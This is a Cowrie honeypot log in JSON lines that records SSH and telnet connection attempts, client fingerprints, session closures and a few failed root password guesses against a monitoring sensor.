{"eventid":"cowrie.session.closed","duration":55.95038390159607,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:59.212259Z","src_ip":"152.42.224.71","session":"d6597a172fd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.94631743431091,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:01.948361Z","src_ip":"152.42.224.71","session":"e882444a5e21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":110.28922438621521,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:04.163070Z","src_ip":"152.42.224.71","session":"5145739c11e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":39286,"dst_ip":"10.17.0.5","dst_port":22,"session":"e92e98273ea3","protocol":"ssh","message":"New connection: 43.245.98.60:39286 (10.17.0.5:22) [session: e92e98273ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:06.760499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:06.765342Z","src_ip":"43.245.98.60","session":"e92e98273ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:07.014328Z","src_ip":"43.245.98.60","session":"e92e98273ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatever","message":"login attempt [root/whatever] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:08.033766Z","src_ip":"43.245.98.60","session":"e92e98273ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00167751312256,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:08.724877Z","src_ip":"152.42.224.71","session":"c414382113e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:09.284940Z","src_ip":"43.245.98.60","session":"e92e98273ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44598,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a1b9ccc85e","protocol":"telnet","message":"New connection: 152.42.224.71:44598 (10.17.0.5:23) [session: c4a1b9ccc85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:11.496961Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44602,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8a68aec31c2","protocol":"telnet","message":"New connection: 152.42.224.71:44602 (10.17.0.5:23) [session: b8a68aec31c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:13.268232Z"}
{"eventid":"cowrie.session.closed","duration":42.66523861885071,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:13.730169Z","src_ip":"152.42.224.71","session":"00c4ace37f5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44612,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b006bfdb5f","protocol":"telnet","message":"New connection: 152.42.224.71:44612 (10.17.0.5:23) [session: a5b006bfdb5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:14.800031Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48788,"dst_ip":"159.203.135.109","dst_port":22,"session":"8691ffc52525","protocol":"ssh","message":"New connection: 194.59.206.2:48788 (159.203.135.109:22) [session: 8691ffc52525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:17.182089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:17.186638Z","src_ip":"194.59.206.2","session":"8691ffc52525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:17.277038Z","src_ip":"194.59.206.2","session":"8691ffc52525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:17.372689Z","src_ip":"194.59.206.2","session":"8691ffc52525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60738,"dst_ip":"10.17.0.5","dst_port":23,"session":"536bc2f3ea1a","protocol":"telnet","message":"New connection: 152.42.224.71:60738 (10.17.0.5:23) [session: 536bc2f3ea1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:19.627361Z"}
{"eventid":"cowrie.session.closed","duration":64.58111619949341,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:20.352759Z","src_ip":"152.42.224.71","session":"1ce2bf3d95c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60750,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6812b34afa","protocol":"telnet","message":"New connection: 152.42.224.71:60750 (10.17.0.5:23) [session: bb6812b34afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:20.629753Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60766,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c902815bb24","protocol":"telnet","message":"New connection: 152.42.224.71:60766 (10.17.0.5:23) [session: 0c902815bb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:21.586890Z"}
{"eventid":"cowrie.session.closed","duration":55.824562549591064,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:25.301849Z","src_ip":"152.42.224.71","session":"a59074403e31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.604819774627686,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:31.956584Z","src_ip":"152.42.224.71","session":"0a9a99cacf6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44426,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6d3c70a6a77","protocol":"telnet","message":"New connection: 152.42.224.71:44426 (10.17.0.5:23) [session: e6d3c70a6a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:36.972471Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44416,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bdb71e2e2cb","protocol":"telnet","message":"New connection: 152.42.224.71:44416 (10.17.0.5:23) [session: 3bdb71e2e2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:38.949034Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":45540,"dst_ip":"10.17.0.5","dst_port":22,"session":"65c0d5f17f7e","protocol":"ssh","message":"New connection: 43.133.148.170:45540 (10.17.0.5:22) [session: 65c0d5f17f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:42.589082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:42.592909Z","src_ip":"43.133.148.170","session":"65c0d5f17f7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:42.842828Z","src_ip":"43.133.148.170","session":"65c0d5f17f7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51314,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca2ff1fe3bd0","protocol":"ssh","message":"New connection: 109.237.96.109:51314 (10.17.0.5:22) [session: ca2ff1fe3bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:42.985820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:42.990940Z","src_ip":"109.237.96.109","session":"ca2ff1fe3bd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:43.086476Z","src_ip":"109.237.96.109","session":"ca2ff1fe3bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":45994,"dst_ip":"10.17.0.5","dst_port":22,"session":"b50988d46599","protocol":"ssh","message":"New connection: 124.109.2.211:45994 (10.17.0.5:22) [session: b50988d46599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:43.164929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:43.169596Z","src_ip":"124.109.2.211","session":"b50988d46599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:43.355631Z","src_ip":"109.237.96.109","session":"ca2ff1fe3bd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:43.434842Z","src_ip":"124.109.2.211","session":"b50988d46599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"plokijuh","message":"login attempt [root/plokijuh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:43.878298Z","src_ip":"43.133.148.170","session":"65c0d5f17f7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:44.449099Z","src_ip":"109.237.96.109","session":"ca2ff1fe3bd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ircd","message":"login attempt [root/ircd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:44.462170Z","src_ip":"124.109.2.211","session":"b50988d46599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:45.132200Z","src_ip":"43.133.148.170","session":"65c0d5f17f7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:45.735143Z","src_ip":"124.109.2.211","session":"b50988d46599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44118,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cc61ddb211d","protocol":"telnet","message":"New connection: 152.42.224.71:44118 (10.17.0.5:23) [session: 1cc61ddb211d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:48.843028Z"}
{"eventid":"cowrie.session.closed","duration":39.39582705497742,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:54.195635Z","src_ip":"152.42.224.71","session":"a5b006bfdb5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.705636978149414,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:55.335259Z","src_ip":"152.42.224.71","session":"bb6812b34afa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.24253726005554,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:22:59.739364Z","src_ip":"152.42.224.71","session":"c4a1b9ccc85e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.47312808036804,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:16.059924Z","src_ip":"152.42.224.71","session":"0c902815bb24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":51676,"dst_ip":"10.17.0.5","dst_port":22,"session":"5df69d837e01","protocol":"ssh","message":"New connection: 43.245.98.60:51676 (10.17.0.5:22) [session: 5df69d837e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:19.424600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:19.428942Z","src_ip":"43.245.98.60","session":"5df69d837e01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:19.670918Z","src_ip":"43.245.98.60","session":"5df69d837e01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2025","message":"login attempt [root/2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:20.669420Z","src_ip":"43.245.98.60","session":"5df69d837e01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014762878418,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:20.806649Z","src_ip":"152.42.224.71","session":"61d971d0e4bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:21.913968Z","src_ip":"43.245.98.60","session":"5df69d837e01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60388,"dst_ip":"10.17.0.5","dst_port":23,"session":"f22f48d9e4e4","protocol":"telnet","message":"New connection: 152.42.224.71:60388 (10.17.0.5:23) [session: f22f48d9e4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:25.805317Z"}
{"eventid":"cowrie.session.closed","duration":76.54278755187988,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:29.810767Z","src_ip":"152.42.224.71","session":"b8a68aec31c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0023181438446,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:31.217458Z","src_ip":"152.42.224.71","session":"5365d7f10137","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53584,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1e694857034","protocol":"telnet","message":"New connection: 152.42.224.71:53584 (10.17.0.5:23) [session: f1e694857034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:32.241019Z"}
